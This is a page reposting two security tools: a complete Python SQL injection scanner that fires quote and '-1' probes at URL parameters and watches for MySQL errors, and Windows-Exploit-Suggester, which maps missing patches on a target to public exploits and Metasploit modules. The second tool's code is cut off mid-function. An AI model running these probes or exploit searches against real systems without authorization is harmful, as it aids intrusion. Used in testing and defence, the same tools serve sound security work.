+ Detect SQL injection vulnerabilities within a website with parameters
+ User agent for web requests
+ Easy to use, everything is automated
+ Error handling for http requests
+ Display a short scan report
+ Check if the provided URL is reachable

usage:

git clone https://github.com/rouabas/SQLInjectionScanner && cd SQLInjectionScanner
python sqli_scanner.py

Script:

#!/usr/bin/python

import sys,  re,  urllib,  urllib2,  string
from urllib2 import Request,  urlopen,  URLError,  HTTPError
from urlparse import urlparse

# Define the usage, the first thing a users sees if he/she starts the script without any parameter
def USAGE_PRNT():
    print ""
    print ""
    print "________________________________________________"
    print "Simple SQL Injection Vulnerability Scanner"
    print ""
    print "Version 0.0.1 (January 29th, 2013)"
    print "________________________________________________"
    print ""
    print "[!] Use parameter --help for help!"
    print "[!] Use parameter --about to learn about this software"
    print ""
    print ""
    return
   
# Define the help message
def HELP_PRNT():
    print ""
    print "The Simple SQL Injection Vulnerability Scanner helps"
    print "to find SQL injection vulnerabilities within a"
    print "website. It is basic and intended for educational use"
    print ""
    print "Usage example:"
    print "sqli_scanner.py -u \"http://site.com/test.php?id=x\""
    print ""
    print "Options:"
    print " -u <URL>              (starts the scanner)"
    print " --help                (displays this text)"
    print " --about                (displays this text)"
    print ""
    print "Features:"
    print " - Scan a single URL per time"
    print " - Detect SQL injection vulnerabilities within a website with parameters"
    print " - User agent for web requests"
    print " - Easy to use, everything is automated"
    print " - Error handling for http requests"
    print " - Display a short scan report"
    print " - Check if the provided URL is reachable"
    print ""
    return

# Define the banner which is printed when the tool was started with parameters
def BANNER_PRNT():
    print ""
    print "________________________________________________"
    print "Simple SQL Injection Vulnerability Scanner"
    print "GNU GENERAL PUBLIC LICENSE"
    print "SQL Vulnerability Scanner by Rouabah Basset is"
    print "Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>-"
    print "Everyone is permitted to copy and distribute verbatim copies"
    print "of this license document, but changing it is not allowed"
    print "Use this onlty for educational purposes."
    print "________________________________________________"
    return
#Define about page
def ABOUT_PRNT():
    print ""
    print "Script version Beta"
    return
    
# We test if the url is reachable
def URL_TESTING(Site_URL):
    # Define User-Agent variable
    user_agent = "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)"
    
    # Adding the User-Agent to the HTTP request
    Get_URL = urllib2.Request(Site_URL)
    Get_URL.add_header("User-Agent",  user_agent)
    
    # Now let's do the HTTP request
    print "[i] Checking if a connection can be established..."
    try:
        http_URL_test = urllib2.urlopen(Get_URL)
    except HTTPError,  e:
        print "[!] The connection couldn't be established."
        print "[!] Error code: ",  e.code
        print "[!] Exiting now!"
        print ""
        print ""
        sys.exit(1)
    except URLError,  e:
        print "[!] The connection couldn't be established."
        print "[!] Reason: ",  e.reason
        print "[!] Exiting now!"
        print ""
        print ""
        sys.exit(1)
    else:
        print "[i] HaHaa XD, Connected to target! URL seems to be valid."
    return

# Scan the provided URL for a SQL injection vulnerability
def URL_SCANNING(Site_URL):
    # I defined some variables needed for detecting MySQL errors in the source code
    SQL_ERR_1 = "You have an error in your SQL syntax"
    SQL_ERR_2 = "supplied argument is not a valid MySQL result resource"
    SQL_ERR_3 = "check the manual that corresponds to your MySQL"
    PARM_EQ = "="
    PARM_SGN_1 = "?"
    PARM_SGN_2 = "&"
    TRIGGER_ERR_1 = "'"
    TRIGGER_ERR_2 = "-1"
    
    # I defined dict which will list all vulnerable parameters
    VULN_PARAM = {}
    
    # I defined the variables needed to craft URLs for exploitation (if there is at least one vulnerability)
    exploit_urls = list()
    
    # I defined User-Agent variable
    user_agent = "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)"
    
    # Adding the User-Agent to the HTTP request (via GET) 
    Get_URL = urllib2.Request(Site_URL)
    Get_URL.add_header("User-Agent",  user_agent)
    
    # Starting the request
    try:
        CALL_HTTP = urllib2.urlopen(Get_URL)
    except HTTPError,  e:
        print "[!] The connection could not be established."
        print "[!] Error code: ",  e.code
        print "[!] Exiting now!"
        print ""
        print ""
        sys.exit(1)
    except URLError,  e:
        print "[!] The connection could not be established."
        print "[!] Reason: ",  e.reason
        print "[!] Exiting now!"
        print ""
        print ""
        sys.exit(1)  
    
    # Storing the response (source code of called website)
    FULL_HTML_CODE = CALL_HTTP.read()
    
    # Paring the URL so I can work with it
    PARSED_URL = urlparse(Site_URL)
    print ""
    print "[i] Moving on now."
    print "[i] Server/Domain is:",  PARSED_URL.netloc
    if len(PARSED_URL.path) == 0:
        print "[!] The URL doesn't contain a script :("
    else:
        print "[i] Detected the path to the script :) :",  PARSED_URL.path
    if len(PARSED_URL.query) == 0:
        print "[!] The URL doesn't contain a query string :("
    else:
        print "[i] Detected the URL query string :) :",  PARSED_URL.query
        print ""
    
    # Searching it for MySQL errors
    SRCH_SQL_ERR_1 = re.findall(SQL_ERR_1, FULL_HTML_CODE)
    if len(SRCH_SQL_ERR_1) != 0:
        print "[!] SQL error in the original URL/website found."
        print "[!] There might be problems exploiting this website (if it is vulnerable)."
    
    SRCH_SQL_ERR_2 = re.findall(SQL_ERR_2,  FULL_HTML_CODE)
    if len(SRCH_SQL_ERR_2) != 0:
        print "[!] SQL error in the original URL/website found."
        print "[!] There might be problems exploiting this website (if it is vulnerable)."
    
    SRCH_SQL_ERR_3 = re.findall(SQL_ERR_3,  FULL_HTML_CODE)
    if len(SRCH_SQL_ERR_3) != 0:
        print "[!] SQL error in the original URL/website found."
        print "[!] There might be problems exploiting this website (if it is vulnerable)."
    
    # Finding all URL parameters
    if PARM_SGN_1 in Site_URL and PARM_EQ in Site_URL:
        print "[i] It seems that the URL contains at least one parameter."
        print "[i] Trying to find also another parameters..."
        
        # It seems that there is at least one parameter in the URL. Trying to find out if there are also others...
        if PARM_SGN_2 in PARSED_URL.query and PARM_EQ in PARSED_URL.query:
            print "[i] Also found at least one other parameter in the URL."
        else:
            print "[i] No other parameters were found."
        
    else:
        print ""
        print "[!] It seems that there is no parameter in the URL."
        print "[!] How the hell am I supposed to find a vulnerability?"
        print "[!] Please provide an URL with a script and query string."
        print "[!] Example: target/index.php?cat=1&article_id=2"
        print "[!] Hint: I can't handle SEO links, so try to find an URL with a query string."
        print "[!] Exiting now!"
        print ""
        print ""
        sys.exit(1)
    
    # Get the parameters
    PARAMS = dict([part.split('=') for part in PARSED_URL[4].split('&')])

    # Count the parameters
    PARAM_CNTR = len(PARAMS)
    
    # Print the parameters and store them in single variables
    print "[i] The following", PARAM_CNTR, "parameter(s) was/were found:"
    print "[i]",  PARAMS
    print "[i] Starting to scan the provided URL(s) for SQL injection vulnerabilities."
    print ""

    # Have a look at each parameter and do some nasty stuff 
    for index, item in enumerate(PARAMS):
        # Now modify the original URL for triggering MySQL errors. Time to start your prayers XD
        print "[i] Probing parameter \"",  item, "\"..."
  
        # We now have to solve the problem that we can not modify tuples in the way we need it here.
        # We therefore copy the content of the query string (of the provided URL) into a new string.
        # The string can be modified as we like it :) Afterwards we only have to put the original URL together again.
        # Python is great! isn't it?
        QUERY_FOR_REPLACE = "".join(PARSED_URL[4:5])
        MODIFIED_QUERY = QUERY_FOR_REPLACE.replace(PARAMS[item],  TRIGGER_ERR_1)

        # Put the URL together again
        TRIGGER_URL_1_P1 = "".join(PARSED_URL[0:1]) + "://" #http
        TRIGGER_URL_1_P2 = "".join(PARSED_URL[1:2])         #www.site.com/test.php
        TRIGGER_URL_1_P3 = "".join(PARSED_URL[2:3])  + "?"  
        TRIGGER_URL_1_P4 = "".join(MODIFIED_QUERY)  
        TRIG_URL_1 = TRIGGER_URL_1_P1 + TRIGGER_URL_1_P2 + TRIGGER_URL_1_P3 + TRIGGER_URL_1_P4

        # Calling the modified URL
        try:
            HTTP_CALL_TRIGGER_1 = urllib2.urlopen(TRIG_URL_1)
        except HTTPError,  e:
            print "[!] The connection could not be established."
            print "[!] Error code: ",  e.code
        except URLError,  e:
            print "[!] The connection could not be established."
            print "[!] Reason: ",  e.reason
    
        # Storing the response (by .read we get all the source code of called website)
        HTML_CALL_TRIGGER_1 = HTTP_CALL_TRIGGER_1.read()

        # Searching the response for MySQL errors
        SRCH_SQL_ERR_TRIGG_1 = re.findall(SQL_ERR_1, HTML_CALL_TRIGGER_1)
        SRCH_SQL_ERR_TRIGG_2 = re.findall(SQL_ERR_2, HTML_CALL_TRIGGER_1)
        SRCH_SQL_ERR_TRIGG_3 = re.findall(SQL_ERR_3, HTML_CALL_TRIGGER_1)
        
        # If the first method was not successfull we simply try the next one
        if len(SRCH_SQL_ERR_TRIGG_1) == 0 and len(SRCH_SQL_ERR_TRIGG_2) == 0 and len(SRCH_SQL_ERR_TRIGG_3) == 0:

            MODIFIED_QUERY = QUERY_FOR_REPLACE.replace(PARAMS[item],  TRIGGER_ERR_2)
            TRIGGER_URL_2_P1 = "".join(PARSED_URL[0:1]) + "://"
            TRIGGER_URL_2_P2 = "".join(PARSED_URL[1:2]) 
            TRIGGER_URL_2_P3 = "".join(PARSED_URL[2:3])  + "?"
            TRIGGER_URL_2_P4 = "".join(MODIFIED_QUERY)  
            TRIG_URL_2 = TRIGGER_URL_2_P1 + TRIGGER_URL_2_P2 + TRIGGER_URL_2_P3 + TRIGGER_URL_2_P4
            try:
                http_request_trigger_2 = urllib2.urlopen(TRIG_URL_2)
            except HTTPError,  e:
                print "[!] The connection could not be established."
                print "[!] Error code: ",  e.code
            except URLError,  e:
                print "[!] The connection could not be established."
                print "[!] Reason: ",  e.reason
            
            # Call the modified URL and look for MySQL errors
            HTML_CALL_TRIGGER_2 = http_request_trigger_2.read()
            SRCH_SQL_ERR_TRIGG_1 = re.findall(SQL_ERR_1, HTML_CALL_TRIGGER_2)
            SRCH_SQL_ERR_TRIGG_2 = re.findall(SQL_ERR_2, HTML_CALL_TRIGGER_2)
            SRCH_SQL_ERR_TRIGG_3 = re.findall(SQL_ERR_3, HTML_CALL_TRIGGER_2)
            
            # When nothing was found show this message
            if len(SRCH_SQL_ERR_TRIGG_1) == 0 and len(SRCH_SQL_ERR_TRIGG_2) == 0 and len(SRCH_SQL_ERR_TRIGG_3) == 0:
                print "[i] The parameter \"",  item,  "\" doesn't seem to be vulnerable."
        
        else:
            # Add the vulnerable parameter to the report variable
            print "[+] Found possible SQL injection vulnerability! Parameter:", item
            VULN_PARAM[index+1] = item
                   
    # Generate a short report
    if len(VULN_PARAM) != 0:
        print ""
        print "[#] Displaying a short report for the provided URL:"
        print "[#] At least one parameter seems to be vulnerable. "
        print VULN_PARAM
        print "[#] (Pattern: param number, param name)"
        
    else:
        print ""
        print "[#] Displaying a short report for the provided URL:"
        print "[#] No SQL injection vulnerabilities found"
        print "Your Website is secure from SQL Injection."

    # And exit
    print ""
    print "[i] That's it. Bye!"
    print ""
    print ""
    sys.exit(1)
    return
    # End of scan_url function
    # Function for finding the amount of columns (column fuzzer)
# Checking if argument was provided
if len(sys.argv) <=1:
    USAGE_PRNT()
    sys.exit(1)
    
for arg in sys.argv:
    # Checking if help was called
    if arg == "--help":
        HELP_PRNT()
        sys.exit(1)
    # Cheking if about was called
    if arg == "--about":
        ABOUT_PRNT()
        sys.exit(1)
    
    # Checking if scanning mode was called
    if arg == "-u":
        Site_URL = sys.argv[2]
        BANNER_PRNT()
        
        # At first we test if we can actually reach the provided URL
        URL_TESTING(Site_URL)
        
        # Now start the main scanning function
        URL_SCANNING(Site_URL)
    
### EOF ###

Source: https://github.com/rouabas

Windows-Exploit-Suggester v3.1.

$
0
0

changelog v31 2016-02-10:
+ changed bulletin url, microsoft 404’d itusage-windows-exploit-suggester

This tool compares a targets patch levels against the Microsoft vulnerability database in order to detect potential missing patches on the target. It also notifies the user if there are public exploits and Metasploit modules available for the missing bulletins.
It requires the ‘systeminfo’ command output from a Windows host in order to compare that the Microsoft security bulletin database and determine the patch level of the host.

It has the ability to automatically download the security bulletin database from Microsoft with the –update flag, and saves it as an Excel spreadsheet.helper-windows-exploit-suggester

When looking at the command output, it is important to note that it assumes all vulnerabilities and then selectively removes them based upon the hotfix data. This can result in many false-positives, and it is key to know what software is actually running on the target host. For example, if there are known IIS exploits it will flag them even if IIS is not running on the target host.
The output shows either public exploits (E), or Metasploit modules (M) as indicated by the character value.

update the database

$ ./windows-exploit-suggester.py --update
[*] initiating...
[*] successfully requested base url
[*] scraped ms download url
[+] writing to file 2014-06-06-mssb.xlsx
[*] done

Usage :

$ ./windows-exploit-suggester.py --update
[*] initiating...
[*] successfully requested base url
[*] scraped ms download url
[+] writing to file 2014-06-06-mssb.xlsx
[*] done

 install dependencies

(install python-xlrd, $ pip install xlrd –upgrade)
feed it “systeminfo” input, and point it to the microsoft database

$ ./windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --systeminfo win7sp1-systeminfo.txt 
[*] initiating...
[*] database file detected as xls or xlsx based on extension
[*] reading from the systeminfo input file
[*] querying database file for potential vulnerabilities
[*] comparing the 15 hotfix(es) against the 173 potential bulletins(s)
[*] there are now 168 remaining vulns
[+] windows version identified as 'Windows 7 SP1 32-bit'
[*] 
[M] MS14-012: Cumulative Security Update for Internet Explorer (2925418) - Critical
[E] MS13-101: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (2880430) - Important
[M] MS13-090: Cumulative Security Update of ActiveX Kill Bits (2900986) - Critical
[M] MS13-080: Cumulative Security Update for Internet Explorer (2879017) - Critical
[M] MS13-069: Cumulative Security Update for Internet Explorer (2870699) - Critical
[M] MS13-059: Cumulative Security Update for Internet Explorer (2862772) - Critical
[M] MS13-055: Cumulative Security Update for Internet Explorer (2846071) - Critical
[M] MS13-053: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Remote Code Execution (2850851) - Critical
[M] MS13-009: Cumulative Security Update for Internet Explorer (2792100) - Critical
[M] MS13-005: Vulnerability in Windows Kernel-Mode Driver Could Allow Elevation of Privilege (2778930) - Important
[*] done

possible exploits for an operating system can be used without hotfix data

$ ./windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --ostext 'windows server 2008 r2' 
[*] initiating...
[*] database file detected as xls or xlsx based on extension
[*] getting OS information from command line text
[*] querying database file for potential vulnerabilities
[*] comparing the 0 hotfix(es) against the 196 potential bulletins(s)
[*] there are now 196 remaining vulns
[+] windows version identified as 'Windows 2008 R2 64-bit'
[*] 
[M] MS13-009: Cumulative Security Update for Internet Explorer (2792100) - Critical
[M] MS13-005: Vulnerability in Windows Kernel-Mode Driver Could Allow Elevation of Privilege (2778930) - Important
[E] MS11-011: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (2393802) - Important
[M] MS10-073: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (981957) - Important
[M] MS10-061: Vulnerability in Print Spooler Service Could Allow Remote Code Execution (2347290) - Critical
[E] MS10-059: Vulnerabilities in the Tracing Feature for Services Could Allow Elevation of Privilege (982799) - Important
[E] MS10-047: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (981852) - Important
[M] MS10-002: Cumulative Security Update for Internet Explorer (978207) - Critical
[M] MS09-072: Cumulative Security Update for Internet Explorer (976325) - Critical

Currently, if the ‘systeminfo’ command reveals ‘File 1’ as the output for the hotfixes, it will not be able to determine which are installed on the target. If this occurs, the list of hotfixes will need to be retrieved from the target host and passed in using the –hotfixes flag

It currently does not seperate ‘editions’ of the Windows OS such as ‘Tablet’ or ‘Media Center’ for example, or different architectures, such as Itanium-based only. False positives also occur where it assumes EVERYTHING is installed on the target Windows operating system. If you receive the ‘Fil 1’ output, try executing ‘wmic qfe list full’ and feed that as input with the –hotfixes flag, along with the ‘systeminfo’

Script :

#!/usr/bin/env python
#
# Windows Exploit Suggester
# revision 3.0, 2016-01-04
#
# author: Sam Bertram, Gotham Digital Science
# contact: labs@gdssecurity.com,sbertram@gdssecurity.com,sammbertram@gmail.com
# blog post: "Introducing Windows Exploit Suggester", http://blog.gdssecurity.com/
# 
# DESCRIPTION
# 
# This tool compares a targets patch levels against the Microsoft vulnerability
# database in order to detect potential missing patches on the target. It also
# notifies the user if there are public exploits and Metasploit modules
# available for the missing bulletins.
#
# It requires the 'systeminfo' command output from a Windows host in order to
# compare that the Microsoft security bulletin database and determine the 
# patch level of the host.
#
# It has the ability to automatically download the security bulletin database
# from Microsoft with the --update flag, and saves it as an Excel spreadsheet.
#
# When looking at the command output, it is important to note that it assumes
# all vulnerabilities and then selectively removes them based upon the hotfix
# data. This can result in many false-positives, and it is key to know what
# software is actually running on the target host. For example, if there are
# known IIS exploits it will flag them even if IIS is not running on the
# target host.
#
# The output shows either public exploits (E), or Metasploit modules (M) as
# indicated by the character value. 
#
# It was heavily inspired by Linux_Exploit_Suggester by Pentura.
#
# Blog Post: "Introducing Windows Exploit Suggester", https://blog.gdssecurity.com/labs/2014/7/11/introducing-windows-exploit-suggester.html
#
# USAGE
# 
# update the database
#
# $ ./windows-exploit-suggester.py --update
# [*] initiating...
# [*] successfully requested base url
# [*] scraped ms download url
# [+] writing to file 2014-06-06-mssb.xlsx
# [*] done
#
# install dependencies
#
# (install python-xlrd, $ pip install xlrd --upgrade)
#
# feed it "systeminfo" input, and point it to the microsoft database
#
# $ ./windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --systeminfo win7sp1-systeminfo.txt 
# [*] initiating...
# [*] database file detected as xls or xlsx based on extension
# [*] reading from the systeminfo input file
# [*] querying database file for potential vulnerabilities
# [*] comparing the 15 hotfix(es) against the 173 potential bulletins(s)
# [*] there are now 168 remaining vulns
# [+] windows version identified as 'Windows 7 SP1 32-bit'
# [*] 
# [M] MS14-012: Cumulative Security Update for Internet Explorer (2925418) - Critical
# [E] MS13-101: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (2880430) - Important
# [M] MS13-090: Cumulative Security Update of ActiveX Kill Bits (2900986) - Critical
# [M] MS13-080: Cumulative Security Update for Internet Explorer (2879017) - Critical
# [M] MS13-069: Cumulative Security Update for Internet Explorer (2870699) - Critical
# [M] MS13-059: Cumulative Security Update for Internet Explorer (2862772) - Critical
# [M] MS13-055: Cumulative Security Update for Internet Explorer (2846071) - Critical
# [M] MS13-053: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Remote Code Execution (2850851) - Critical
# [M] MS13-009: Cumulative Security Update for Internet Explorer (2792100) - Critical
# [M] MS13-005: Vulnerability in Windows Kernel-Mode Driver Could Allow Elevation of Privilege (2778930) - Important
# [*] done
#
# possible exploits for an operating system can be used without hotfix data
# $ ./windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --ostext 'windows server 2008 r2' 
# [*] initiating...
# [*] database file detected as xls or xlsx based on extension
# [*] getting OS information from command line text
# [*] querying database file for potential vulnerabilities
# [*] comparing the 0 hotfix(es) against the 196 potential bulletins(s)
# [*] there are now 196 remaining vulns
# [+] windows version identified as 'Windows 2008 R2 64-bit'
# [*] 
# [M] MS13-009: Cumulative Security Update for Internet Explorer (2792100) - Critical
# [M] MS13-005: Vulnerability in Windows Kernel-Mode Driver Could Allow Elevation of Privilege (2778930) - Important
# [E] MS11-011: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (2393802) - Important
# [M] MS10-073: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (981957) - Important
# [M] MS10-061: Vulnerability in Print Spooler Service Could Allow Remote Code Execution (2347290) - Critical
# [E] MS10-059: Vulnerabilities in the Tracing Feature for Services Could Allow Elevation of Privilege (982799) - Important
# [E] MS10-047: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (981852) - Important
# [M] MS10-002: Cumulative Security Update for Internet Explorer (978207) - Critical
# [M] MS09-072: Cumulative Security Update for Internet Explorer (976325) - Critical
#
# TROUBLESHOOTING
#
# If you're receiving the following error message, update the xlrd library
# $ pip install xlrd --update
#
# [*] initiating winsploit version 24...
# [*] database file detected as xls or xlsx based on extension
# Traceback (most recent call last):
# 	  File "windows-exploit-suggester/windows-exploit-suggester.py", line 1414, in <module>
# 	      main()
# 	        File "windows-exploit-suggester/windows-exploit-suggester.py", line 354, in main
# 		    wb = xlrd.open_workbook(ARGS.database)
# 		      File "/usr/lib/pymodules/python2.7/xlrd/__init__.py", line 370, in open_workbook
# 		          biff_version = bk.getbof(XL_WORKBOOK_GLOBALS)
# 			    File "/usr/lib/pymodules/python2.7/xlrd/__init__.py", line 1323, in getbof
# 			        raise XLRDError('Expected BOF record; found 0x%04x' % opcode)
# 			xlrd.biffh.XLRDError: Expected BOF record; found 0x4b50
#
# LIMITATIONS
#
# Currently, if the 'systeminfo' command reveals 'File 1' as the output for
# the hotfixes, it will not be able to determine which are installed on
# the target. If this occurs, the list of hotfixes will need to be 
# retrieved from the target host and passed in using the --hotfixes flag
#
# It currently does not seperate 'editions' of the Windows OS such as
# 'Tablet' or 'Media Center' for example, or different architectures, such as
# Itanium-based only
#
# False positives also occur where it assumes EVERYTHING is installed
# on the target Windows operating system. If you receive the 'File 1'
# output, try executing 'wmic qfe list full' and feed that as input
# with the --hotfixes flag, along with the 'systeminfo'
#
# LICENSE
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program.  If not, see <http://www.gnu.org/licenses/>.
#
# TODOLIST
#
# TODO better if/then/case when detecting OS. more flexibility with parsing
#     different systeminfo output
# TODO seperate by editions? may result in false positives
# TODO count the number of exploits in the summary prior to outputting it?
# TODO finish -s --search function so that all info on an MS number can be
#      returned
# TODO add titles to exploit list so that it is more portable
# TODO test for Windows RT systeminfo output
# TODO improved msf/poc output? perhaps adding details on each MS number?
# TODO if it's running on windows, then try and execute the systeminfo command?
# TODO SPEED. this is now way too slow...  somewhat improved!
# TODO automatically install python module? xlrd.
# TODO manually override MS11-011 for Non-Affected Products. The bulletin
# database is wrong.
#  Windows 7 for 32-bit Systems Service Pack 1
#  Windows 7 for x64-based Systems Service Pack 1
#  Windows Server 2008 R2 for x64-based Systems Service Pack 1
#  Windows Server 2008 R2 for Itanium-based Systems Service Pack 1
#
# CHANGE LOG
# v31 2016-02-10
# - changed bulletin url, microsoft 404'd it
#	
# v30 2016-01-04
# - added exploits and bulletins from the past six months
#
# v29 2015-09-16
# - adding support for windows 10
#
# v28 2015-07-30
# - added bulletin scraping for xlsx and xls files using regex. thanks to
#   edebernis for reporting the bug
# - added ms15-022, ms15-015 update to msf
#
# v27 2015-06-18
# - added new bulletin url that is only xls and not xlsx. thanks to bstork for
#   reporting the bug
# - added ms15-010, ms15-051, and ms15-052
#
# v26 2015-06-02
# - small bug fix with linked output
# - added duplicates flag that can allow for bulletins to be displayed
#   multiple times. this will allow for greater analysis on linked bulletins
#
# v25 2015-05-18
# - added ms15-051 local priv
#
# v24 2015-01-30
# - added --sub/-s command in order to display output of msids as linked
#   this aides in demonstrating what patches need to be applied precisely. 
#   this change was implemented in v23, but only followed the depth to level
#   1 instead of the entire way.
# - fixed a bug that know allows for multiple supercedes msids in the db
# - allowed for getarchitecture to be recursive, and reduced redunancy when
#   it is called throughout the program
# - added ms14-070
#
# v23 2015-01-26
# - typo in --local flag case (pontential vs potential). issue #5 closed. 
#
# v22 2015-01-23
# - speed optimisations! it was too slow beforehand. realised i could easily
#   make it a bit more efficient
# 
# v21 2015-01-22
# - changed display formatting to include nested/linked MS numbers. makes it
#   easier to determine the dependencies
# - made args global
# - changed some code formatting, including double-space instead of \t
# - added some additional comments
# - disable ANSI output if on windows platform 
# - added recent exploits
#
# v20 2014-12-16
# - added ms14-068,ms14-064,ms14-060, and ms14-058 to the internal vuln list
#
# v19 2014-10-08
# - added support for windows server 2012, this includes ignoring the
#   architecture for 2012, and forcing from 32-bit to 64-bit
#
# v18 2014-09-02
# - added ms14-029 poc
#
# v17 2014-08-05
# - fixed a bug where it would not detect OS version when a unicode char comes
#   before search string
#
# v16 2014-07-28
# - improved reading of various file encodings for systeminfo. now attempts to 
#   detect the file first, otherwise loops through common encodings
# - improved OS, service pack, architecture, and release detection. this is now
#   not English-dependent as it was previously
# - better architecture detection of systeminfo input (look for -based string)
# - added /usr/bin/env python
# - added ms14-035 poc
#
# v15 2014-07-15
# - changed file open to io, and attempt to decode as utf-8; otherwise attempt
#   utf-16
#
# v14 2014-07-13
# - allowed for --ostext flag to properly supersede OS detection of systeminfo
#   input
#
# v13a 2014-07-01
# - added new msf flags for ms13-097, and ms14-009
#
# v12a 2014-06-06
# - quick cleanup for release
#
# v11a 2014-05-02
# - fixed the bulletin scrape regex for the update command. ms changed it
#
# v10a 2014-03-24
# - added a hotfixes argument, that can be used to supplement the list
#  of hotfixes detected in the systeminfo input
# - added severity at the end of the output when reporting bulletins
# - added a 'patches' argument, that can be used to determine any
#  of the hotfixes for a specific bulletin. this is good for debugging.
#
# v09a 2014-03-18
# - again, another massive bug on the linked kb searching function
#   getlinkedms(). should be fixed now
# - also checks columns 11 and 12 for superseded, i think it has to
#   do with dos and *nix output
#
# v08a 2014-02-14
# - bug where the superseded column wasn't being checked
#   this may be because it's only xlsx and it parsed differently in csv
# - added some new exploits from edb
#
# v07a 2014-02-12
# - added indicator for os version, and in green
# - better parsing of architecture for itanium based support
#
# v06a 2014-01-19
# - added 'ostext' or 'o' option, when don't have any patch information
#   but just know the OS
#
# v05a
# - added a check for "Kernel version" column, as well as "OS version"
#
# v04a
# - added support for XLSX files directly with the updated XLRD library, this
#   requires the python-xlrd library to be installed and upgraded with:
#   $ pip install xlrd --upgrade
# - changed MS13-101 to E, as there isn't a metasploit module (yet!)
#
# v03a
# - fixed an issue where component KB wasn't being checked
#
# FUNCTIONS
#
# def main():
# def run(database):
# def detect_encoding(filename):
# def trace(database):
# def patches(database):
# def getversion(name, release, servicepack, architecture):
# def getname(ostext):
# def getrelease(ostext):    
# def getservicepack(ostext):
# def getarchitecture(ostext):
# def getitanium(ostext):
# def getpatch(ostext):
# def getbulletinids(haystack):
# def isaffected(name, release, servicepack, architecture, haystack):
# def getlinkedms(msids, database):
# def getexploit(msid = 0):
# def update():
# def merge_list(li):
#
import re
import platform
import argparse
import subprocess
import csv
import StringIO
import os
import datetime
import urllib2
import io
from random import randint
from time import sleep
from tempfile import NamedTemporaryFile

# constants/globals
MSSB_URL = 'http://www.microsoft.com/en-gb/download/confirmation.aspx?id=36982'
BULLETIN_URL = 'http://download.microsoft.com/download/6/7/3/673E4349-1CA5-40B9-8879-095C72D5B49D/BulletinSearch.xlsx'
VERSION = "3.1"

# global parser
parser = argparse.ArgumentParser(description="search microsoft security bulletins for exploits based upon the patch level of the machine by feeding in systeminfo command")
parser.add_argument("-v", "--verbose", help="verbose output", action="store_true")
parser.add_argument("-i", "--systeminfo", help="feed in an input file that contains the 'systeminfo' command")
parser.add_argument("-d", "--database", help="the file that contains the microsoft security bulletin database")
parser.add_argument("-u", "--update", help="required flag to even run the script", action="store_true")
parser.add_argument("-a", "--audit", help="show all entries, not only exploits", action="store_true")
parser.add_argument("-t", "--trace", help="used to determine linked ms bulletins")
parser.add_argument("-p", "--patches", help="used to determine specific patches for a ms bulletin")
parser.add_argument("-o", "--ostext", help="a loose text representation of the windows OS (ex: \"windows xp home edition sp2\")")
parser.add_argument("-s", "--sub", help="generate output using linked/sub bulletins. WARNING: SLOW!", action="store_true")
parser.add_argument("-2", "--duplicates", help="allow duplicate ms bulletin output within the results. this will produce a lot of output, but is useful when determining linked ms bulletins", action="store_true")
# hotfixes
# used to parse "wmic qfe list full" input, and to solve the 'File 1' errors
parser.add_argument("-H", "--hotfixes", help="a loose list of hotfixes to be added, for use with the following command: 'wmic qfe list full'")

# search by exploit type only
exptypegroup = parser.add_mutually_exclusive_group()
exptypegroup.add_argument("-r", "--remote", help="search remote exploits only", action="store_true")
exptypegroup.add_argument("-l", "--local", help="search local exploits only", action="store_true")

# global args parsed
ARGS = parser.parse_args()

def main():
  ALERT("initiating winsploit version %s..." % VERSION)

  database = ''

  # if there is a database switch
  if ARGS.database:

    # split name and extension
    name, extension = os.path.splitext(ARGS.database)

    # csv
    if 'csv' in extension:

      ALERT("database file detected as csv based on extension", ALERT.NORMAL)

      # attempt to open the file
      try:
        dbfile = open(ARGS.database, 'r')

      except IOError, e:
        ALERT("could not open the file %s" % filename, ALERT.BAD)
        exit(1)

      data = ''
      for line in dbfile:
        data += line
      database = data

      dbfile.close()

    # xls or xslx
    elif 'xls' in extension:

      ALERT("database file detected as xls or xlsx based on extension", ALERT.NORMAL)

      try:
        import xlrd
      except ImportError as e:
        ALERT("please install and upgrade the python-xlrd library", ALERT.BAD)
        exit(1)

      # open the xls file
      try:
        wb = xlrd.open_workbook(ARGS.database)
      except IOError as e:
        ALERT("no such file or directory '%s'. ensure you have the correct database file passed in --database/-d" % ARGS.database, ALERT.BAD)
        exit(1)
      sh = wb.sheet_by_name('Bulletin Search')

      # read the spreadsheet into a temp file
      f = NamedTemporaryFile(mode='wb')
      wr = csv.writer(f, quoting=csv.QUOTE_NONE, delimiter=',')

      data = ''

      # loop through xls
      for rownum in xrange(sh.nrows):

        values = sh.row_values(rownum)

        # loop through row values, and process input
        for i in range(len(values)):
          values[i] = unicode(values[i]).encode('utf8')
          values[i] = values[i].replace('\n',' ')
          values[i] = values[i].replace(',','')
          values[i] = values[i].replace('.0','')

        data += ",".join(values)
        data += '\n'
  
      # set the database to the csv data
      database = data

    # unknown filetype, error
    else:
      ALERT("unknown filetype. change file extension to indicate csv or xls/xlsx", ALERT.BAD)
      exit(1)

  if ARGS.trace: trace(database)
  elif ARGS.systeminfo or ARGS.ostext: run(database)
  elif ARGS.update: update()
  elif ARGS.patches: patches(database)

  # error
  else:
